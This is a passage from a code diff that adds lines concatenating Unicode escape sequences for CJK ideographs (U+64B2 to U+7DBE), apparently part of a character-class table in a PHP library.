+'\x{64B2}\x{64B9}\x{64BB}\x{64BC}\x{64C1}\x{64C2}\x{64C5}\x{64C7}\x{64CD}' .
+'\x{64D2}\x{64D4}\x{64D8}\x{64DA}\x{64E0}\x{64E1}\x{64E2}\x{64E3}\x{64E6}' .
+'\x{64E7}\x{64EC}\x{64EF}\x{64F1}\x{64F2}\x{64F4}\x{64F6}\x{64FA}\x{64FD}' .
+'\x{64FE}\x{6500}\x{6505}\x{6518}\x{651C}\x{651D}\x{6523}\x{6524}\x{652A}' .
+'\x{652B}\x{652C}\x{652F}\x{6534}\x{6535}\x{6536}\x{6537}\x{6538}\x{6539}' .
+'\x{653B}\x{653E}\x{653F}\x{6545}\x{6548}\x{654D}\x{654F}\x{6551}\x{6555}' .
+'\x{6556}\x{6557}\x{6558}\x{6559}\x{655D}\x{655E}\x{6562}\x{6563}\x{6566}' .
+'\x{656C}\x{6570}\x{6572}\x{6574}\x{6575}\x{6577}\x{6578}\x{6582}\x{6583}' .
+'\x{6587}\x{6588}\x{6589}\x{658C}\x{658E}\x{6590}\x{6591}\x{6597}\x{6599}' .
+'\x{659B}\x{659C}\x{659F}\x{65A1}\x{65A4}\x{65A5}\x{65A7}\x{65AB}\x{65AC}' .
+'\x{65AD}\x{65AF}\x{65B0}\x{65B7}\x{65B9}\x{65BC}\x{65BD}\x{65C1}\x{65C3}' .
+'\x{65C4}\x{65C5}\x{65C6}\x{65CB}\x{65CC}\x{65CF}\x{65D2}\x{65D7}\x{65D9}' .
+'\x{65DB}\x{65E0}\x{65E1}\x{65E2}\x{65E5}\x{65E6}\x{65E7}\x{65E8}\x{65E9}' .
+'\x{65EC}\x{65ED}\x{65F1}\x{65FA}\x{65FB}\x{6602}\x{6603}\x{6606}\x{6607}' .
+'\x{660A}\x{660C}\x{660E}\x{660F}\x{6613}\x{6614}\x{661C}\x{661F}\x{6620}' .
+'\x{6625}\x{6627}\x{6628}\x{662D}\x{662F}\x{6634}\x{6635}\x{6636}\x{663C}' .
+'\x{663F}\x{6641}\x{6642}\x{6643}\x{6644}\x{6649}\x{664B}\x{664F}\x{6652}' .
+'\x{665D}\x{665E}\x{665F}\x{6662}\x{6664}\x{6666}\x{6667}\x{6668}\x{6669}' .
+'\x{666E}\x{666F}\x{6670}\x{6674}\x{6676}\x{667A}\x{6681}\x{6683}\x{6684}' .
+'\x{6687}\x{6688}\x{6689}\x{668E}\x{6691}\x{6696}\x{6697}\x{6698}\x{669D}' .
+'\x{66A2}\x{66A6}\x{66AB}\x{66AE}\x{66B4}\x{66B8}\x{66B9}\x{66BC}\x{66BE}' .
+'\x{66C1}\x{66C4}\x{66C7}\x{66C9}\x{66D6}\x{66D9}\x{66DA}\x{66DC}\x{66DD}' .
+'\x{66E0}\x{66E6}\x{66E9}\x{66F0}\x{66F2}\x{66F3}\x{66F4}\x{66F5}\x{66F7}' .
+'\x{66F8}\x{66F9}\x{66FC}\x{66FD}\x{66FE}\x{66FF}\x{6700}\x{6703}\x{6708}' .
+'\x{6709}\x{670B}\x{670D}\x{670F}\x{6714}\x{6715}\x{6716}\x{6717}\x{671B}' .
+'\x{671D}\x{671E}\x{671F}\x{6726}\x{6727}\x{6728}\x{672A}\x{672B}\x{672C}' .
+'\x{672D}\x{672E}\x{6731}\x{6734}\x{6736}\x{6737}\x{6738}\x{673A}\x{673D}' .
+'\x{673F}\x{6741}\x{6746}\x{6749}\x{674E}\x{674F}\x{6750}\x{6751}\x{6753}' .
+'\x{6756}\x{6759}\x{675C}\x{675E}\x{675F}\x{6760}\x{6761}\x{6762}\x{6763}' .
+'\x{6764}\x{6765}\x{676A}\x{676D}\x{676F}\x{6770}\x{6771}\x{6772}\x{6773}' .
+'\x{6775}\x{6777}\x{677C}\x{677E}\x{677F}\x{6785}\x{6787}\x{6789}\x{678B}' .
+'\x{678C}\x{6790}\x{6795}\x{6797}\x{679A}\x{679C}\x{679D}\x{67A0}\x{67A1}' .
+'\x{67A2}\x{67A6}\x{67A9}\x{67AF}\x{67B3}\x{67B4}\x{67B6}\x{67B7}\x{67B8}' .
+'\x{67B9}\x{67C1}\x{67C4}\x{67C6}\x{67CA}\x{67CE}\x{67CF}\x{67D0}\x{67D1}' .
+'\x{67D3}\x{67D4}\x{67D8}\x{67DA}\x{67DD}\x{67DE}\x{67E2}\x{67E4}\x{67E7}' .
+'\x{67E9}\x{67EC}\x{67EE}\x{67EF}\x{67F1}\x{67F3}\x{67F4}\x{67F5}\x{67FB}' .
+'\x{67FE}\x{67FF}\x{6802}\x{6803}\x{6804}\x{6813}\x{6816}\x{6817}\x{681E}' .
+'\x{6821}\x{6822}\x{6829}\x{682A}\x{682B}\x{6832}\x{6834}\x{6838}\x{6839}' .
+'\x{683C}\x{683D}\x{6840}\x{6841}\x{6842}\x{6843}\x{6846}\x{6848}\x{684D}' .
+'\x{684E}\x{6850}\x{6851}\x{6853}\x{6854}\x{6859}\x{685C}\x{685D}\x{685F}' .
+'\x{6863}\x{6867}\x{6874}\x{6876}\x{6877}\x{687E}\x{687F}\x{6881}\x{6883}' .
+'\x{6885}\x{688D}\x{688F}\x{6893}\x{6894}\x{6897}\x{689B}\x{689D}\x{689F}' .
+'\x{68A0}\x{68A2}\x{68A6}\x{68A7}\x{68A8}\x{68AD}\x{68AF}\x{68B0}\x{68B1}' .
+'\x{68B3}\x{68B5}\x{68B6}\x{68B9}\x{68BA}\x{68BC}\x{68C4}\x{68C6}\x{68C9}' .
+'\x{68CA}\x{68CB}\x{68CD}\x{68D2}\x{68D4}\x{68D5}\x{68D7}\x{68D8}\x{68DA}' .
+'\x{68DF}\x{68E0}\x{68E1}\x{68E3}\x{68E7}\x{68EE}\x{68EF}\x{68F2}\x{68F9}' .
+'\x{68FA}\x{6900}\x{6901}\x{6904}\x{6905}\x{6908}\x{690B}\x{690C}\x{690D}' .
+'\x{690E}\x{690F}\x{6912}\x{6919}\x{691A}\x{691B}\x{691C}\x{6921}\x{6922}' .
+'\x{6923}\x{6925}\x{6926}\x{6928}\x{692A}\x{6930}\x{6934}\x{6936}\x{6939}' .
+'\x{693D}\x{693F}\x{694A}\x{6953}\x{6954}\x{6955}\x{6959}\x{695A}\x{695C}' .
+'\x{695D}\x{695E}\x{6960}\x{6961}\x{6962}\x{696A}\x{696B}\x{696D}\x{696E}' .
+'\x{696F}\x{6973}\x{6974}\x{6975}\x{6977}\x{6978}\x{6979}\x{697C}\x{697D}' .
+'\x{697E}\x{6981}\x{6982}\x{698A}\x{698E}\x{6991}\x{6994}\x{6995}\x{699B}' .
+'\x{699C}\x{69A0}\x{69A7}\x{69AE}\x{69B1}\x{69B2}\x{69B4}\x{69BB}\x{69BE}' .
+'\x{69BF}\x{69C1}\x{69C3}\x{69C7}\x{69CA}\x{69CB}\x{69CC}\x{69CD}\x{69CE}' .
+'\x{69D0}\x{69D3}\x{69D8}\x{69D9}\x{69DD}\x{69DE}\x{69E7}\x{69E8}\x{69EB}' .
+'\x{69ED}\x{69F2}\x{69F9}\x{69FB}\x{69FD}\x{69FF}\x{6A02}\x{6A05}\x{6A0A}' .
+'\x{6A0B}\x{6A0C}\x{6A12}\x{6A13}\x{6A14}\x{6A17}\x{6A19}\x{6A1B}\x{6A1E}' .
+'\x{6A1F}\x{6A21}\x{6A22}\x{6A23}\x{6A29}\x{6A2A}\x{6A2B}\x{6A2E}\x{6A35}' .
+'\x{6A36}\x{6A38}\x{6A39}\x{6A3A}\x{6A3D}\x{6A44}\x{6A47}\x{6A48}\x{6A4B}' .
+'\x{6A58}\x{6A59}\x{6A5F}\x{6A61}\x{6A62}\x{6A66}\x{6A72}\x{6A78}\x{6A7F}' .
+'\x{6A80}\x{6A84}\x{6A8D}\x{6A8E}\x{6A90}\x{6A97}\x{6A9C}\x{6AA0}\x{6AA2}' .
+'\x{6AA3}\x{6AAA}\x{6AAC}\x{6AAE}\x{6AB3}\x{6AB8}\x{6ABB}\x{6AC1}\x{6AC2}' .
+'\x{6AC3}\x{6AD1}\x{6AD3}\x{6ADA}\x{6ADB}\x{6ADE}\x{6ADF}\x{6AE8}\x{6AEA}' .
+'\x{6AFA}\x{6AFB}\x{6B04}\x{6B05}\x{6B0A}\x{6B12}\x{6B16}\x{6B1D}\x{6B1F}' .
+'\x{6B20}\x{6B21}\x{6B23}\x{6B27}\x{6B32}\x{6B37}\x{6B38}\x{6B39}\x{6B3A}' .
+'\x{6B3D}\x{6B3E}\x{6B43}\x{6B47}\x{6B49}\x{6B4C}\x{6B4E}\x{6B50}\x{6B53}' .
+'\x{6B54}\x{6B59}\x{6B5B}\x{6B5F}\x{6B61}\x{6B62}\x{6B63}\x{6B64}\x{6B66}' .
+'\x{6B69}\x{6B6A}\x{6B6F}\x{6B73}\x{6B74}\x{6B78}\x{6B79}\x{6B7B}\x{6B7F}' .
+'\x{6B80}\x{6B83}\x{6B84}\x{6B86}\x{6B89}\x{6B8A}\x{6B8B}\x{6B8D}\x{6B95}' .
+'\x{6B96}\x{6B98}\x{6B9E}\x{6BA4}\x{6BAA}\x{6BAB}\x{6BAF}\x{6BB1}\x{6BB2}' .
+'\x{6BB3}\x{6BB4}\x{6BB5}\x{6BB7}\x{6BBA}\x{6BBB}\x{6BBC}\x{6BBF}\x{6BC0}' .
+'\x{6BC5}\x{6BC6}\x{6BCB}\x{6BCD}\x{6BCE}\x{6BD2}\x{6BD3}\x{6BD4}\x{6BD8}' .
+'\x{6BDB}\x{6BDF}\x{6BEB}\x{6BEC}\x{6BEF}\x{6BF3}\x{6C08}\x{6C0F}\x{6C11}' .
+'\x{6C13}\x{6C14}\x{6C17}\x{6C1B}\x{6C23}\x{6C24}\x{6C34}\x{6C37}\x{6C38}' .
+'\x{6C3E}\x{6C40}\x{6C41}\x{6C42}\x{6C4E}\x{6C50}\x{6C55}\x{6C57}\x{6C5A}' .
+'\x{6C5D}\x{6C5E}\x{6C5F}\x{6C60}\x{6C62}\x{6C68}\x{6C6A}\x{6C70}\x{6C72}' .
+'\x{6C73}\x{6C7A}\x{6C7D}\x{6C7E}\x{6C81}\x{6C82}\x{6C83}\x{6C88}\x{6C8C}' .
+'\x{6C8D}\x{6C90}\x{6C92}\x{6C93}\x{6C96}\x{6C99}\x{6C9A}\x{6C9B}\x{6CA1}' .
+'\x{6CA2}\x{6CAB}\x{6CAE}\x{6CB1}\x{6CB3}\x{6CB8}\x{6CB9}\x{6CBA}\x{6CBB}' .
+'\x{6CBC}\x{6CBD}\x{6CBE}\x{6CBF}\x{6CC1}\x{6CC4}\x{6CC5}\x{6CC9}\x{6CCA}' .
+'\x{6CCC}\x{6CD3}\x{6CD5}\x{6CD7}\x{6CD9}\x{6CDB}\x{6CDD}\x{6CE1}\x{6CE2}' .
+'\x{6CE3}\x{6CE5}\x{6CE8}\x{6CEA}\x{6CEF}\x{6CF0}\x{6CF1}\x{6CF3}\x{6D0B}' .
+'\x{6D0C}\x{6D12}\x{6D17}\x{6D19}\x{6D1B}\x{6D1E}\x{6D1F}\x{6D25}\x{6D29}' .
+'\x{6D2A}\x{6D2B}\x{6D32}\x{6D33}\x{6D35}\x{6D36}\x{6D38}\x{6D3B}\x{6D3D}' .
+'\x{6D3E}\x{6D41}\x{6D44}\x{6D45}\x{6D59}\x{6D5A}\x{6D5C}\x{6D63}\x{6D64}' .
+'\x{6D66}\x{6D69}\x{6D6A}\x{6D6C}\x{6D6E}\x{6D74}\x{6D77}\x{6D78}\x{6D79}' .
+'\x{6D85}\x{6D88}\x{6D8C}\x{6D8E}\x{6D93}\x{6D95}\x{6D99}\x{6D9B}\x{6D9C}' .
+'\x{6DAF}\x{6DB2}\x{6DB5}\x{6DB8}\x{6DBC}\x{6DC0}\x{6DC5}\x{6DC6}\x{6DC7}' .
+'\x{6DCB}\x{6DCC}\x{6DD1}\x{6DD2}\x{6DD5}\x{6DD8}\x{6DD9}\x{6DDE}\x{6DE1}' .
+'\x{6DE4}\x{6DE6}\x{6DE8}\x{6DEA}\x{6DEB}\x{6DEC}\x{6DEE}\x{6DF1}\x{6DF3}' .
+'\x{6DF5}\x{6DF7}\x{6DF9}\x{6DFA}\x{6DFB}\x{6E05}\x{6E07}\x{6E08}\x{6E09}' .
+'\x{6E0A}\x{6E0B}\x{6E13}\x{6E15}\x{6E19}\x{6E1A}\x{6E1B}\x{6E1D}\x{6E1F}' .
+'\x{6E20}\x{6E21}\x{6E23}\x{6E24}\x{6E25}\x{6E26}\x{6E29}\x{6E2B}\x{6E2C}' .
+'\x{6E2D}\x{6E2E}\x{6E2F}\x{6E38}\x{6E3A}\x{6E3E}\x{6E43}\x{6E4A}\x{6E4D}' .
+'\x{6E4E}\x{6E56}\x{6E58}\x{6E5B}\x{6E5F}\x{6E67}\x{6E6B}\x{6E6E}\x{6E6F}' .
+'\x{6E72}\x{6E76}\x{6E7E}\x{6E7F}\x{6E80}\x{6E82}\x{6E8C}\x{6E8F}\x{6E90}' .
+'\x{6E96}\x{6E98}\x{6E9C}\x{6E9D}\x{6E9F}\x{6EA2}\x{6EA5}\x{6EAA}\x{6EAF}' .
+'\x{6EB2}\x{6EB6}\x{6EB7}\x{6EBA}\x{6EBD}\x{6EC2}\x{6EC4}\x{6EC5}\x{6EC9}' .
+'\x{6ECB}\x{6ECC}\x{6ED1}\x{6ED3}\x{6ED4}\x{6ED5}\x{6EDD}\x{6EDE}\x{6EEC}' .
+'\x{6EEF}\x{6EF2}\x{6EF4}\x{6EF7}\x{6EF8}\x{6EFE}\x{6EFF}\x{6F01}\x{6F02}' .
+'\x{6F06}\x{6F09}\x{6F0F}\x{6F11}\x{6F13}\x{6F14}\x{6F15}\x{6F20}\x{6F22}' .
+'\x{6F23}\x{6F2B}\x{6F2C}\x{6F31}\x{6F32}\x{6F38}\x{6F3E}\x{6F3F}\x{6F41}' .
+'\x{6F45}\x{6F54}\x{6F58}\x{6F5B}\x{6F5C}\x{6F5F}\x{6F64}\x{6F66}\x{6F6D}' .
+'\x{6F6E}\x{6F6F}\x{6F70}\x{6F74}\x{6F78}\x{6F7A}\x{6F7C}\x{6F80}\x{6F81}' .
+'\x{6F82}\x{6F84}\x{6F86}\x{6F8E}\x{6F91}\x{6F97}\x{6FA1}\x{6FA3}\x{6FA4}' .
+'\x{6FAA}\x{6FB1}\x{6FB3}\x{6FB9}\x{6FC0}\x{6FC1}\x{6FC2}\x{6FC3}\x{6FC6}' .
+'\x{6FD4}\x{6FD5}\x{6FD8}\x{6FDB}\x{6FDF}\x{6FE0}\x{6FE1}\x{6FE4}\x{6FEB}' .
+'\x{6FEC}\x{6FEE}\x{6FEF}\x{6FF1}\x{6FF3}\x{6FF6}\x{6FFA}\x{6FFE}\x{7001}' .
+'\x{7009}\x{700B}\x{700F}\x{7011}\x{7015}\x{7018}\x{701A}\x{701B}\x{701D}' .
+'\x{701E}\x{701F}\x{7026}\x{7027}\x{702C}\x{7030}\x{7032}\x{703E}\x{704C}' .
+'\x{7051}\x{7058}\x{7063}\x{706B}\x{706F}\x{7070}\x{7078}\x{707C}\x{707D}' .
+'\x{7089}\x{708A}\x{708E}\x{7092}\x{7099}\x{70AC}\x{70AD}\x{70AE}\x{70AF}' .
+'\x{70B3}\x{70B8}\x{70B9}\x{70BA}\x{70C8}\x{70CB}\x{70CF}\x{70D9}\x{70DD}' .
+'\x{70DF}\x{70F1}\x{70F9}\x{70FD}\x{7109}\x{7114}\x{7119}\x{711A}\x{711C}' .
+'\x{7121}\x{7126}\x{7136}\x{713C}\x{7149}\x{714C}\x{714E}\x{7155}\x{7156}' .
+'\x{7159}\x{7162}\x{7164}\x{7165}\x{7166}\x{7167}\x{7169}\x{716C}\x{716E}' .
+'\x{717D}\x{7184}\x{7188}\x{718A}\x{718F}\x{7194}\x{7195}\x{7199}\x{719F}' .
+'\x{71A8}\x{71AC}\x{71B1}\x{71B9}\x{71BE}\x{71C3}\x{71C8}\x{71C9}\x{71CE}' .
+'\x{71D0}\x{71D2}\x{71D4}\x{71D5}\x{71D7}\x{71DF}\x{71E0}\x{71E5}\x{71E6}' .
+'\x{71E7}\x{71EC}\x{71ED}\x{71EE}\x{71F5}\x{71F9}\x{71FB}\x{71FC}\x{71FF}' .
+'\x{7206}\x{720D}\x{7210}\x{721B}\x{7228}\x{722A}\x{722C}\x{722D}\x{7230}' .
+'\x{7232}\x{7235}\x{7236}\x{723A}\x{723B}\x{723C}\x{723D}\x{723E}\x{723F}' .
+'\x{7240}\x{7246}\x{7247}\x{7248}\x{724B}\x{724C}\x{7252}\x{7258}\x{7259}' .
+'\x{725B}\x{725D}\x{725F}\x{7261}\x{7262}\x{7267}\x{7269}\x{7272}\x{7274}' .
+'\x{7279}\x{727D}\x{727E}\x{7280}\x{7281}\x{7282}\x{7287}\x{7292}\x{7296}' .
+'\x{72A0}\x{72A2}\x{72A7}\x{72AC}\x{72AF}\x{72B2}\x{72B6}\x{72B9}\x{72C2}' .
+'\x{72C3}\x{72C4}\x{72C6}\x{72CE}\x{72D0}\x{72D2}\x{72D7}\x{72D9}\x{72DB}' .
+'\x{72E0}\x{72E1}\x{72E2}\x{72E9}\x{72EC}\x{72ED}\x{72F7}\x{72F8}\x{72F9}' .
+'\x{72FC}\x{72FD}\x{730A}\x{7316}\x{7317}\x{731B}\x{731C}\x{731D}\x{731F}' .
+'\x{7325}\x{7329}\x{732A}\x{732B}\x{732E}\x{732F}\x{7334}\x{7336}\x{7337}' .
+'\x{733E}\x{733F}\x{7344}\x{7345}\x{734E}\x{734F}\x{7357}\x{7363}\x{7368}' .
+'\x{736A}\x{7370}\x{7372}\x{7375}\x{7378}\x{737A}\x{737B}\x{7384}\x{7387}' .
+'\x{7389}\x{738B}\x{7396}\x{73A9}\x{73B2}\x{73B3}\x{73BB}\x{73C0}\x{73C2}' .
+'\x{73C8}\x{73CA}\x{73CD}\x{73CE}\x{73DE}\x{73E0}\x{73E5}\x{73EA}\x{73ED}' .
+'\x{73EE}\x{73F1}\x{73F8}\x{73FE}\x{7403}\x{7405}\x{7406}\x{7409}\x{7422}' .
+'\x{7425}\x{7432}\x{7433}\x{7434}\x{7435}\x{7436}\x{743A}\x{743F}\x{7441}' .
+'\x{7455}\x{7459}\x{745A}\x{745B}\x{745C}\x{745E}\x{745F}\x{7460}\x{7463}' .
+'\x{7464}\x{7469}\x{746A}\x{746F}\x{7470}\x{7473}\x{7476}\x{747E}\x{7483}' .
+'\x{748B}\x{749E}\x{74A2}\x{74A7}\x{74B0}\x{74BD}\x{74CA}\x{74CF}\x{74D4}' .
+'\x{74DC}\x{74E0}\x{74E2}\x{74E3}\x{74E6}\x{74E7}\x{74E9}\x{74EE}\x{74F0}' .
+'\x{74F1}\x{74F2}\x{74F6}\x{74F7}\x{74F8}\x{7503}\x{7504}\x{7505}\x{750C}' .
+'\x{750D}\x{750E}\x{7511}\x{7513}\x{7515}\x{7518}\x{751A}\x{751C}\x{751E}' .
+'\x{751F}\x{7523}\x{7525}\x{7526}\x{7528}\x{752B}\x{752C}\x{7530}\x{7531}' .
+'\x{7532}\x{7533}\x{7537}\x{7538}\x{753A}\x{753B}\x{753C}\x{7544}\x{7546}' .
+'\x{7549}\x{754A}\x{754B}\x{754C}\x{754D}\x{754F}\x{7551}\x{7554}\x{7559}' .
+'\x{755A}\x{755B}\x{755C}\x{755D}\x{7560}\x{7562}\x{7564}\x{7565}\x{7566}' .
+'\x{7567}\x{7569}\x{756A}\x{756B}\x{756D}\x{7570}\x{7573}\x{7574}\x{7576}' .
+'\x{7577}\x{7578}\x{757F}\x{7582}\x{7586}\x{7587}\x{7589}\x{758A}\x{758B}' .
+'\x{758E}\x{758F}\x{7591}\x{7594}\x{759A}\x{759D}\x{75A3}\x{75A5}\x{75AB}' .
+'\x{75B1}\x{75B2}\x{75B3}\x{75B5}\x{75B8}\x{75B9}\x{75BC}\x{75BD}\x{75BE}' .
+'\x{75C2}\x{75C3}\x{75C5}\x{75C7}\x{75CA}\x{75CD}\x{75D2}\x{75D4}\x{75D5}' .
+'\x{75D8}\x{75D9}\x{75DB}\x{75DE}\x{75E2}\x{75E3}\x{75E9}\x{75F0}\x{75F2}' .
+'\x{75F3}\x{75F4}\x{75FA}\x{75FC}\x{75FE}\x{75FF}\x{7601}\x{7609}\x{760B}' .
+'\x{760D}\x{761F}\x{7620}\x{7621}\x{7622}\x{7624}\x{7627}\x{7630}\x{7634}' .
+'\x{763B}\x{7642}\x{7646}\x{7647}\x{7648}\x{764C}\x{7652}\x{7656}\x{7658}' .
+'\x{765C}\x{7661}\x{7662}\x{7667}\x{7668}\x{7669}\x{766A}\x{766C}\x{7670}' .
+'\x{7672}\x{7676}\x{7678}\x{767A}\x{767B}\x{767C}\x{767D}\x{767E}\x{7680}' .
+'\x{7683}\x{7684}\x{7686}\x{7687}\x{7688}\x{768B}\x{768E}\x{7690}\x{7693}' .
+'\x{7696}\x{7699}\x{769A}\x{76AE}\x{76B0}\x{76B4}\x{76B7}\x{76B8}\x{76B9}' .
+'\x{76BA}\x{76BF}\x{76C2}\x{76C3}\x{76C6}\x{76C8}\x{76CA}\x{76CD}\x{76D2}' .
+'\x{76D6}\x{76D7}\x{76DB}\x{76DC}\x{76DE}\x{76DF}\x{76E1}\x{76E3}\x{76E4}' .
+'\x{76E5}\x{76E7}\x{76EA}\x{76EE}\x{76F2}\x{76F4}\x{76F8}\x{76FB}\x{76FE}' .
+'\x{7701}\x{7704}\x{7707}\x{7708}\x{7709}\x{770B}\x{770C}\x{771B}\x{771E}' .
+'\x{771F}\x{7720}\x{7724}\x{7725}\x{7726}\x{7729}\x{7737}\x{7738}\x{773A}' .
+'\x{773C}\x{7740}\x{7747}\x{775A}\x{775B}\x{7761}\x{7763}\x{7765}\x{7766}' .
+'\x{7768}\x{776B}\x{7779}\x{777E}\x{777F}\x{778B}\x{778E}\x{7791}\x{779E}' .
+'\x{77A0}\x{77A5}\x{77AC}\x{77AD}\x{77B0}\x{77B3}\x{77B6}\x{77B9}\x{77BB}' .
+'\x{77BC}\x{77BD}\x{77BF}\x{77C7}\x{77CD}\x{77D7}\x{77DA}\x{77DB}\x{77DC}' .
+'\x{77E2}\x{77E3}\x{77E5}\x{77E7}\x{77E9}\x{77ED}\x{77EE}\x{77EF}\x{77F3}' .
+'\x{77FC}\x{7802}\x{780C}\x{7812}\x{7814}\x{7815}\x{7820}\x{7825}\x{7826}' .
+'\x{7827}\x{7832}\x{7834}\x{783A}\x{783F}\x{7845}\x{785D}\x{786B}\x{786C}' .
+'\x{786F}\x{7872}\x{7874}\x{787C}\x{7881}\x{7886}\x{7887}\x{788C}\x{788D}' .
+'\x{788E}\x{7891}\x{7893}\x{7895}\x{7897}\x{789A}\x{78A3}\x{78A7}\x{78A9}' .
+'\x{78AA}\x{78AF}\x{78B5}\x{78BA}\x{78BC}\x{78BE}\x{78C1}\x{78C5}\x{78C6}' .
+'\x{78CA}\x{78CB}\x{78D0}\x{78D1}\x{78D4}\x{78DA}\x{78E7}\x{78E8}\x{78EC}' .
+'\x{78EF}\x{78F4}\x{78FD}\x{7901}\x{7907}\x{790E}\x{7911}\x{7912}\x{7919}' .
+'\x{7926}\x{792A}\x{792B}\x{792C}\x{793A}\x{793C}\x{793E}\x{7940}\x{7941}' .
+'\x{7947}\x{7948}\x{7949}\x{7950}\x{7953}\x{7955}\x{7956}\x{7957}\x{795A}' .
+'\x{795D}\x{795E}\x{795F}\x{7960}\x{7962}\x{7965}\x{7968}\x{796D}\x{7977}' .
+'\x{797A}\x{797F}\x{7980}\x{7981}\x{7984}\x{7985}\x{798A}\x{798D}\x{798E}' .
+'\x{798F}\x{799D}\x{79A6}\x{79A7}\x{79AA}\x{79AE}\x{79B0}\x{79B3}\x{79B9}' .
+'\x{79BA}\x{79BD}\x{79BE}\x{79BF}\x{79C0}\x{79C1}\x{79C9}\x{79CB}\x{79D1}' .
+'\x{79D2}\x{79D5}\x{79D8}\x{79DF}\x{79E1}\x{79E3}\x{79E4}\x{79E6}\x{79E7}' .
+'\x{79E9}\x{79EC}\x{79F0}\x{79FB}\x{7A00}\x{7A08}\x{7A0B}\x{7A0D}\x{7A0E}' .
+'\x{7A14}\x{7A17}\x{7A18}\x{7A19}\x{7A1A}\x{7A1C}\x{7A1F}\x{7A20}\x{7A2E}' .
+'\x{7A31}\x{7A32}\x{7A37}\x{7A3B}\x{7A3C}\x{7A3D}\x{7A3E}\x{7A3F}\x{7A40}' .
+'\x{7A42}\x{7A43}\x{7A46}\x{7A49}\x{7A4D}\x{7A4E}\x{7A4F}\x{7A50}\x{7A57}' .
+'\x{7A61}\x{7A62}\x{7A63}\x{7A69}\x{7A6B}\x{7A70}\x{7A74}\x{7A76}\x{7A79}' .
+'\x{7A7A}\x{7A7D}\x{7A7F}\x{7A81}\x{7A83}\x{7A84}\x{7A88}\x{7A92}\x{7A93}' .
+'\x{7A95}\x{7A96}\x{7A97}\x{7A98}\x{7A9F}\x{7AA9}\x{7AAA}\x{7AAE}\x{7AAF}' .
+'\x{7AB0}\x{7AB6}\x{7ABA}\x{7ABF}\x{7AC3}\x{7AC4}\x{7AC5}\x{7AC7}\x{7AC8}' .
+'\x{7ACA}\x{7ACB}\x{7ACD}\x{7ACF}\x{7AD2}\x{7AD3}\x{7AD5}\x{7AD9}\x{7ADA}' .
+'\x{7ADC}\x{7ADD}\x{7ADF}\x{7AE0}\x{7AE1}\x{7AE2}\x{7AE3}\x{7AE5}\x{7AE6}' .
+'\x{7AEA}\x{7AED}\x{7AEF}\x{7AF0}\x{7AF6}\x{7AF8}\x{7AF9}\x{7AFA}\x{7AFF}' .
+'\x{7B02}\x{7B04}\x{7B06}\x{7B08}\x{7B0A}\x{7B0B}\x{7B0F}\x{7B11}\x{7B18}' .
+'\x{7B19}\x{7B1B}\x{7B1E}\x{7B20}\x{7B25}\x{7B26}\x{7B28}\x{7B2C}\x{7B33}' .
+'\x{7B35}\x{7B36}\x{7B39}\x{7B45}\x{7B46}\x{7B48}\x{7B49}\x{7B4B}\x{7B4C}' .
+'\x{7B4D}\x{7B4F}\x{7B50}\x{7B51}\x{7B52}\x{7B54}\x{7B56}\x{7B5D}\x{7B65}' .
+'\x{7B67}\x{7B6C}\x{7B6E}\x{7B70}\x{7B71}\x{7B74}\x{7B75}\x{7B7A}\x{7B86}' .
+'\x{7B87}\x{7B8B}\x{7B8D}\x{7B8F}\x{7B92}\x{7B94}\x{7B95}\x{7B97}\x{7B98}' .
+'\x{7B99}\x{7B9A}\x{7B9C}\x{7B9D}\x{7B9F}\x{7BA1}\x{7BAA}\x{7BAD}\x{7BB1}' .
+'\x{7BB4}\x{7BB8}\x{7BC0}\x{7BC1}\x{7BC4}\x{7BC6}\x{7BC7}\x{7BC9}\x{7BCB}' .
+'\x{7BCC}\x{7BCF}\x{7BDD}\x{7BE0}\x{7BE4}\x{7BE5}\x{7BE6}\x{7BE9}\x{7BED}' .
+'\x{7BF3}\x{7BF6}\x{7BF7}\x{7C00}\x{7C07}\x{7C0D}\x{7C11}\x{7C12}\x{7C13}' .
+'\x{7C14}\x{7C17}\x{7C1F}\x{7C21}\x{7C23}\x{7C27}\x{7C2A}\x{7C2B}\x{7C37}' .
+'\x{7C38}\x{7C3D}\x{7C3E}\x{7C3F}\x{7C40}\x{7C43}\x{7C4C}\x{7C4D}\x{7C4F}' .
+'\x{7C50}\x{7C54}\x{7C56}\x{7C58}\x{7C5F}\x{7C60}\x{7C64}\x{7C65}\x{7C6C}' .
+'\x{7C73}\x{7C75}\x{7C7E}\x{7C81}\x{7C82}\x{7C83}\x{7C89}\x{7C8B}\x{7C8D}' .
+'\x{7C90}\x{7C92}\x{7C95}\x{7C97}\x{7C98}\x{7C9B}\x{7C9F}\x{7CA1}\x{7CA2}' .
+'\x{7CA4}\x{7CA5}\x{7CA7}\x{7CA8}\x{7CAB}\x{7CAD}\x{7CAE}\x{7CB1}\x{7CB2}' .
+'\x{7CB3}\x{7CB9}\x{7CBD}\x{7CBE}\x{7CC0}\x{7CC2}\x{7CC5}\x{7CCA}\x{7CCE}' .
+'\x{7CD2}\x{7CD6}\x{7CD8}\x{7CDC}\x{7CDE}\x{7CDF}\x{7CE0}\x{7CE2}\x{7CE7}' .
+'\x{7CEF}\x{7CF2}\x{7CF4}\x{7CF6}\x{7CF8}\x{7CFA}\x{7CFB}\x{7CFE}\x{7D00}' .
+'\x{7D02}\x{7D04}\x{7D05}\x{7D06}\x{7D0A}\x{7D0B}\x{7D0D}\x{7D10}\x{7D14}' .
+'\x{7D15}\x{7D17}\x{7D18}\x{7D19}\x{7D1A}\x{7D1B}\x{7D1C}\x{7D20}\x{7D21}' .
+'\x{7D22}\x{7D2B}\x{7D2C}\x{7D2E}\x{7D2F}\x{7D30}\x{7D32}\x{7D33}\x{7D35}' .
+'\x{7D39}\x{7D3A}\x{7D3F}\x{7D42}\x{7D43}\x{7D44}\x{7D45}\x{7D46}\x{7D4B}' .
+'\x{7D4C}\x{7D4E}\x{7D4F}\x{7D50}\x{7D56}\x{7D5B}\x{7D5E}\x{7D61}\x{7D62}' .
+'\x{7D63}\x{7D66}\x{7D68}\x{7D6E}\x{7D71}\x{7D72}\x{7D73}\x{7D75}\x{7D76}' .
+'\x{7D79}\x{7D7D}\x{7D89}\x{7D8F}\x{7D93}\x{7D99}\x{7D9A}\x{7D9B}\x{7D9C}' .
+'\x{7D9F}\x{7DA2}\x{7DA3}\x{7DAB}\x{7DAC}\x{7DAD}\x{7DAE}\x{7DAF}\x{7DB0}' .
+'\x{7DB1}\x{7DB2}\x{7DB4}\x{7DB5}\x{7DB8}\x{7DBA}\x{7DBB}\x{7DBD}\x{7DBE}' .
